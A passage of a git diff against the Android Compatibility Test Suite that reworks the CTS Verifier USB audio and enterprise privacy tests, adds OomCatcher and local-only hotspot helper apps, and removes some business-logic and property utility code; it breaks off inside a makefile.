diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
index 4ae5ec3..640d489 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
@@ -31,10 +31,6 @@
     private Button mPlayBtn;
     private LocalClickListener mButtonClickListener = new LocalClickListener();
 
-    public USBAudioPeripheralPlayActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -50,20 +46,14 @@
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.usbaudio_play_test, R.string.usbaudio_play_info, -1);
-
-        connectUSBPeripheralUI();
     }
 
     //
     // USBAudioPeripheralActivity
     // Headset not publicly available, violates CTS Verifier additional equipment guidelines.
-    void enableTestUI(boolean enable) {
-        mPlayBtn.setEnabled(enable);
-    }
-
     public void updateConnectStatus() {
-        mPlayBtn.setEnabled(mIsPeripheralAttached);
-        getPassButton().setEnabled(mIsPeripheralAttached);
+        mPlayBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index fc666aa..33417d1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -41,10 +41,6 @@
 
     private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
 
-    public USBAudioPeripheralPlayerActivity(boolean requiresMandatePeripheral) {
-        super(requiresMandatePeripheral); // Mandated peripheral is NOT required
-    }
-
     protected void setupPlayer() {
         mSystemBufferSize =
             StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index d51eac3..5772461 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -49,10 +49,6 @@
 
     private WaveScopeView mWaveView = null;
 
-    public USBAudioPeripheralRecordActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
     private void connectWaveView() {
         // Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
         if (mRecorder != null) {
@@ -77,12 +73,7 @@
             mRecorder.stop();
         }
 
-        // no reason to do more than 2
         int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
-        if (numChans > 2) {
-            numChans = 2;
-        }
-        Log.i(TAG, "  numChans:" + numChans);
 
         if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
             connectWaveView();  // Setup the WaveView
@@ -139,22 +130,15 @@
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.usbaudio_record_test, R.string.usbaudio_record_info, -1);
-
-        connectUSBPeripheralUI();
     }
 
     //
     // USBAudioPeripheralActivity
     //
-    void enableTestUI(boolean enable) {
-        mRecordBtn.setEnabled(enable);
-        mRecordLoopbackBtn.setEnabled(enable);
-    }
-
     public void updateConnectStatus() {
-        mRecordBtn.setEnabled(mIsPeripheralAttached);
-        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached);
-        getPassButton().setEnabled(mIsPeripheralAttached);
+        mRecordBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
index 55b7f9a..7190af9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
@@ -32,6 +32,9 @@
     }
 
     public static int countToIndexMask(int chanCount) {
+        // From the documentation for AudioFormat:
+        // The canonical channel index masks by channel count are given by the formula
+        // (1 << channelCount) - 1.
         return (1 << chanCount) - 1;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
index 2ec742e4..7cdff34 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -120,30 +120,19 @@
         mNumChannels = numChans;
         mSampleRate = sampleRate;
 
-        final int frameSize =
-                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChannels);
-        final int bufferSizeInBytes = frameSize * 64;   // Some, non-critical value
-
-        AudioFormat.Builder formatBuilder = new AudioFormat.Builder();
-        formatBuilder.setEncoding(AudioFormat.ENCODING_PCM_FLOAT);
-        formatBuilder.setSampleRate(mSampleRate);
-
-        if (numChans <= 2) {
-            // There is currently a bug causing channel INDEX masks to fail.
-            // for channels counts of <= 2, use channel POSITION
-            final int chanPosMask = AudioUtils.countToInPositionMask(numChans);
-            formatBuilder.setChannelMask(chanPosMask);
-        } else {
-            // There are no INPUT channel-position masks for > 2 channels
-            final int chanIndexMask = AudioUtils.countToIndexMask(numChans);
-            formatBuilder.setChannelIndexMask(chanIndexMask);
-        }
-
-        AudioRecord.Builder builder = new AudioRecord.Builder();
-        builder.setAudioFormat(formatBuilder.build());
+        int chanIndexMask = AudioUtils.countToIndexMask(numChans);
+        int bufferSizeInBytes = 2048;   // Some, non-critical value
 
         try {
-            mAudioRecord = builder.build();
+            mAudioRecord = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(chanIndexMask)
+                            .build())
+                    .setBufferSizeInBytes(bufferSizeInBytes)
+                    .build();
+
             return true;
         } catch (UnsupportedOperationException ex) {
             Log.e(TAG, "Couldn't open AudioRecord: " + ex);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
index c779a2a..4909497 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
@@ -19,8 +19,6 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
-import com.android.compatibility.common.util.CddTest;
-
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Typeface;
@@ -43,7 +41,6 @@
 /**
  * CTS Verifier case for verifying GPS.
  */
-@CddTest(requirement="7.3.3/C-1-1")
 public class GpsTestActivity extends PassFailButtons.Activity implements PassFailLog {
     private LocationManager mLocationManager;
     private TextView mTextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 519d50b..3a16297 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -312,22 +312,20 @@
                                         CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
                                         .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
                                                 "Foo, Inc."))}));
-        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
-                    R.string.enterprise_privacy_keyguard,
-                    R.string.enterprise_privacy_keyguard_info,
-                    new ButtonInfo[]{
-                            new ButtonInfo(R.string.enterprise_privacy_open_settings,
-                                    new Intent(Settings.ACTION_SETTINGS)),
-                            new ButtonInfo(R.string.enterprise_privacy_clear_organization,
-                                    buildCommandIntent(
-                                            CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
-                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
-                                    buildCommandIntent(
-                                            CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
-                                            .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
-                                                    "Foo, Inc."))}));
-        }
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
+                R.string.enterprise_privacy_keyguard,
+                R.string.enterprise_privacy_keyguard_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_clear_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                                        .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
+                                                "Foo, Inc."))}));
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT,
                 R.string.enterprise_privacy_add_account,
                 R.string.enterprise_privacy_add_account_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
index 6637509..31a8791 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
@@ -110,14 +110,12 @@
     }
 
     protected void setupDisableUnredactedWorkNotification(ArrayTestListAdapter adapter) {
-        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            adapter.add(new DialogTestListItemWithIcon(this,
-                    R.string.provisioning_byod_disable_unredacted_notifications,
-                    getTestIdPrefix() + "DisableUnredactedNotifications",
-                    R.string.provisioning_byod_disable_unredacted_notifications_instruction,
-                    new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
-                    R.drawable.ic_corp_icon));
-        }
+        adapter.add(new DialogTestListItemWithIcon(this,
+                R.string.provisioning_byod_disable_unredacted_notifications,
+                getTestIdPrefix() + "DisableUnredactedNotifications",
+                R.string.provisioning_byod_disable_unredacted_notifications_instruction,
+                new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
+                R.drawable.ic_corp_icon));
     }
 
     protected void setupFingerprintTests(ArrayTestListAdapter adapter) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 12b0da8..f004ace 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -31,6 +31,7 @@
 
 public class UserRestrictions {
     private static final String[] RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY = new String[] {
+        UserManager.DISALLOW_ADD_USER,
         UserManager.DISALLOW_ADJUST_VOLUME,
         UserManager.DISALLOW_APPS_CONTROL,
         UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
@@ -59,6 +60,7 @@
     private static final ArrayMap<String, UserRestrictionItem> USER_RESTRICTION_ITEMS;
     static {
         final int[] restrictionLabels = new int[] {
+            R.string.disallow_add_user,
             R.string.disallow_adjust_volume,
             R.string.disallow_apps_control,
             R.string.disallow_config_cell_broadcasts,
@@ -85,6 +87,7 @@
         };
 
         final int[] restrictionActions = new int[] {
+            R.string.disallow_add_user_action,
             R.string.disallow_adjust_volume_action,
             R.string.disallow_apps_control_action,
             R.string.disallow_config_cell_broadcasts_action,
@@ -111,6 +114,7 @@
         };
 
         final String[] settingsIntentActions = new String[] {
+            Settings.ACTION_SETTINGS,
             Settings.ACTION_SOUND_SETTINGS,
             Settings.ACTION_APPLICATION_SETTINGS,
             Settings.ACTION_SETTINGS,
@@ -227,6 +231,8 @@
     public static boolean isRestrictionValid(Context context, String restriction) {
         final PackageManager pm = context.getPackageManager();
         switch (restriction) {
+            case UserManager.DISALLOW_ADD_USER:
+                return UserManager.supportsMultipleUsers();
             case UserManager.DISALLOW_ADJUST_VOLUME:
                 return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
             case UserManager.DISALLOW_CONFIG_CELL_BROADCASTS:
diff --git a/apps/OomCatcher/Android.mk b/apps/OomCatcher/Android.mk
new file mode 100644
index 0000000..e14cde5
--- /dev/null
+++ b/apps/OomCatcher/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := OomCatcher
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml b/apps/OomCatcher/AndroidManifest.xml
similarity index 62%
rename from hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml
rename to apps/OomCatcher/AndroidManifest.xml
index 026fd94..25513e2 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml
+++ b/apps/OomCatcher/AndroidManifest.xml
@@ -1,5 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+
+<!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -15,15 +16,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.privilegedupdate.preparer">
+      package="com.android.cts.oomcatcher"
+      android:versionCode="1"
+      android:versionName="1.0">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <activity android:name=".OomCatcher">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
     </application>
-
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.privilegedupdate.preparer" />
-
 </manifest>
-
diff --git a/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
new file mode 100644
index 0000000..b7cd6c7
--- /dev/null
+++ b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.oomcatcher;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.ComponentCallbacks2;
+import android.util.Log;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/*
+ * An App to report to logcat the lowmemory status. As soon as the app detects low memory, it
+ * immediately reports. In addition, it also reports every second.
+ */
+public class OomCatcher extends Activity implements ComponentCallbacks2 {
+
+    private static final String LOG_TAG = "OomCatcher";
+
+    private AtomicBoolean isOom = new AtomicBoolean(false);
+
+    Thread logThread;
+
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        logThread = new Thread() {
+            @Override
+            public void run() {
+                while (true) {
+                    logStatus();
+                    try {
+                        Thread.sleep(1000); // 1 second
+                    } catch (InterruptedException e) {
+                        // thread has been killed
+                    }
+                }
+            }
+        };
+        logThread.setDaemon(true);
+        logThread.start();
+    }
+
+    public void onDestroy() {
+        super.onDestroy();
+        if (logThread != null) {
+            logThread.interrupt();
+        }
+    }
+
+    /*
+     * Receive memory callbacks from the Android system. All report low memory except for
+     * TRIM_MEMORY_UI_HIDDEN, which reports when the app is in the background. We don't care about
+     * that, only when the device is at risk of OOMing.
+     *
+     * For all indications of low memory, onLowMemory() is called.
+     */
+    @Override
+    public void onTrimMemory(int level) {
+        Log.i(LOG_TAG, "Memory trim level: " + level);
+        switch (level) {
+            // low priority messages being ignored
+            case TRIM_MEMORY_BACKGROUND: // bg
+            case TRIM_MEMORY_RUNNING_MODERATE: // fg
+                // fallthrough
+                Log.i(LOG_TAG, "ignoring low priority oom messages.");
+                break;
+            // medium priority messages being ignored
+            case TRIM_MEMORY_MODERATE: // bg
+            case TRIM_MEMORY_RUNNING_LOW: // fg
+                // fallthrough
+                Log.i(LOG_TAG, "ignoring medium priority oom messages.");
+                break;
+            // high priority messages
+            case TRIM_MEMORY_COMPLETE: // bg
+            case TRIM_MEMORY_RUNNING_CRITICAL: // fg
+                // fallthrough
+                onLowMemory();
+                break;
+            case TRIM_MEMORY_UI_HIDDEN:
+                Log.i(LOG_TAG, "UI is hidden because the app is in the background.");
+                break;
+            default:
+                Log.i(LOG_TAG, "unknown memory trim message.");
+                return;
+        }
+    }
+
+    /*
+     * An earlier API implementation of low memory callbacks. Sets oom status and logs.
+     */
+    @Override
+    public void onLowMemory() {
+        isOom.set(true);
+        logStatus();
+    }
+
+    /*
+     * Log to logcat the current lowmemory status of the app.
+     */
+    private void logStatus() {
+        Log.i(LOG_TAG, isOom.get() ? "Low memory" : "Normal memory");
+    }
+}
diff --git a/apps/hotspot/Android.mk b/apps/hotspot/Android.mk
new file mode 100644
index 0000000..ae93979
--- /dev/null
+++ b/apps/hotspot/Android.mk
@@ -0,0 +1,18 @@
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := hotspot
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/hotspot/AndroidManifest.xml b/apps/hotspot/AndroidManifest.xml
new file mode 100644
index 0000000..277be5f
--- /dev/null
+++ b/apps/hotspot/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.hotspot">
+
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <application>
+        <activity android:name=".MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".Notify" android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.hotspot.TEST_ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+</manifest>
diff --git a/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
new file mode 100644
index 0000000..2e0ed87
--- /dev/null
+++ b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
@@ -0,0 +1,20 @@
+package com.android.cts.hotspot;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.support.v4.app.ActivityCompat;
+
+public class MainActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION)
+                != PackageManager.PERMISSION_GRANTED) {
+            ActivityCompat.requestPermissions(
+                    this, new String[] {Manifest.permission.ACCESS_COARSE_LOCATION}, 2);
+        }
+    }
+}
diff --git a/apps/hotspot/src/com/android/cts/hotspot/Notify.java b/apps/hotspot/src/com/android/cts/hotspot/Notify.java
new file mode 100644
index 0000000..a56a390
--- /dev/null
+++ b/apps/hotspot/src/com/android/cts/hotspot/Notify.java
@@ -0,0 +1,57 @@
+package com.android.cts.hotspot;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.wifi.WifiManager;
+import android.os.Handler;
+
+public class Notify extends BroadcastReceiver {
+
+    private static final String EXTRA_HOTSPOT_KEY = "HOTSPOT";
+    private static WifiManager.LocalOnlyHotspotReservation mReservation;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if ("com.android.cts.hotspot.TEST_ACTION".equals(intent.getAction())) {
+            if (intent.hasExtra(EXTRA_HOTSPOT_KEY)) {
+                if ("turnOn".equals(intent.getStringExtra(EXTRA_HOTSPOT_KEY))) {
+                    turnOnHotspot(context);
+                } else if ("turnOff".equals(intent.getStringExtra(EXTRA_HOTSPOT_KEY))) {
+                    turnOffHotspot();
+                }
+            }
+        }
+    }
+
+    private void turnOnHotspot(Context x) {
+        WifiManager manager = (WifiManager) x.getSystemService(Context.WIFI_SERVICE);
+
+        manager.startLocalOnlyHotspot(
+                new WifiManager.LocalOnlyHotspotCallback() {
+
+                    @Override
+                    public void onStarted(WifiManager.LocalOnlyHotspotReservation reservation) {
+                        mReservation = reservation;
+                        super.onStarted(reservation);
+                    }
+
+                    @Override
+                    public void onStopped() {
+                        super.onStopped();
+                    }
+
+                    @Override
+                    public void onFailed(int reason) {
+                        super.onFailed(reason);
+                    }
+                },
+                new Handler());
+    }
+
+    private void turnOffHotspot() {
+        if (mReservation != null) {
+            mReservation.close();
+        }
+    }
+}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 22688ed..e953724 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -21,7 +21,6 @@
 import android.content.pm.PermissionInfo;
 import android.os.Build;
 import com.android.compatibility.common.util.DeviceInfoStore;
-import com.android.compatibility.common.util.PackageUtil;
 
 import java.io.IOException;
 import java.util.*;
@@ -53,8 +52,6 @@
     private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
     private static final String INSTALL_PACKAGES_PERMISSION = "android.permission.INSTALL_PACKAGES";
 
-    private static final String SHA256_CERT = "sha256_cert";
-
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
         final PackageManager pm = getContext().getPackageManager();
@@ -99,8 +96,6 @@
                 final boolean canInstall = sharesUidWithInstallerPackage(pm, appInfo.uid);
                 store.addResult(SHARES_INSTALL_PERMISSION, canInstall);
             }
-            String sha256_cert = PackageUtil.computePackageSignatureDigest(pkg.packageName);
-            store.addResult(SHA256_CERT, sha256_cert);
 
             store.endGroup();
         }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index 285b732..599110e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -53,12 +53,6 @@
         return propertyEquals(BUILD_TYPE_PROPERTY, "user");
     }
 
-    /** Returns whether the device build is the factory ROM */
-    public static boolean isFactoryROM() {
-        // property should be undefined if and only if the product is factory ROM.
-        return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
-    }
-
     /** Returns whether this build is built with dev-keys */
     public static boolean isDevKeysBuild() {
         for (String tag : Build.TAGS.split(",")) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
deleted file mode 100644
index d12caa8..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.junit.Before;
-
-/**
- *  Device-side base class for tests leveraging the Business Logic service for rules that are
- *  conditionally added based on the device characteristics.
- */
-public class BusinessLogicConditionalTestCase extends BusinessLogicTestCase {
-
-    @Override
-    @Before
-    public void handleBusinessLogic() {
-        super.loadBusinessLogic();
-        ensureAuthenticated();
-        super.executeBusinessLogic();
-    }
-
-    protected void ensureAuthenticated() {
-        if (!mCanReadBusinessLogic) {
-            // super class handles the condition that the service is unavailable.
-            return;
-        }
-
-        if (!mBusinessLogic.mConditionalTestsEnabled) {
-            skipTest("Execution of device specific tests is not enabled. "
-                    + "Enable with '--conditional-business-logic-tests-enabled'");
-        }
-
-        if (mBusinessLogic.isAuthorized()) {
-            // Run test as normal.
-            return;
-        }
-        String message = mBusinessLogic.getAuthenticationStatusMessage();
-
-        // Fail test since request was not authorized.
-        failTest(String.format("Unable to execute because %s.", message));
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 671d33b..b0c1dbb 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -19,19 +19,17 @@
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.rules.TestName;
-
 import android.app.Instrumentation;
 import android.content.Context;
 import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
-import java.lang.reflect.Field;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
 import java.io.File;
-import java.util.List;
+import java.lang.reflect.Field;
 import java.util.Map;
 
 /**
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index b98acee..c95b8df 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -53,12 +53,6 @@
         return propertyEquals(BUILD_TYPE_PROPERTY, "user");
     }
 
-    /** Returns whether the device build is the factory ROM */
-    public static boolean isFactoryROM() {
-        // property should be undefined if and only if the product is factory ROM.
-        return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
-    }
-
     /** Returns whether this build is built with dev-keys */
     public static boolean isDevKeysBuild() {
         for (String tag : Build.TAGS.split(",")) {
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 59ef75e..3fb55c5 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
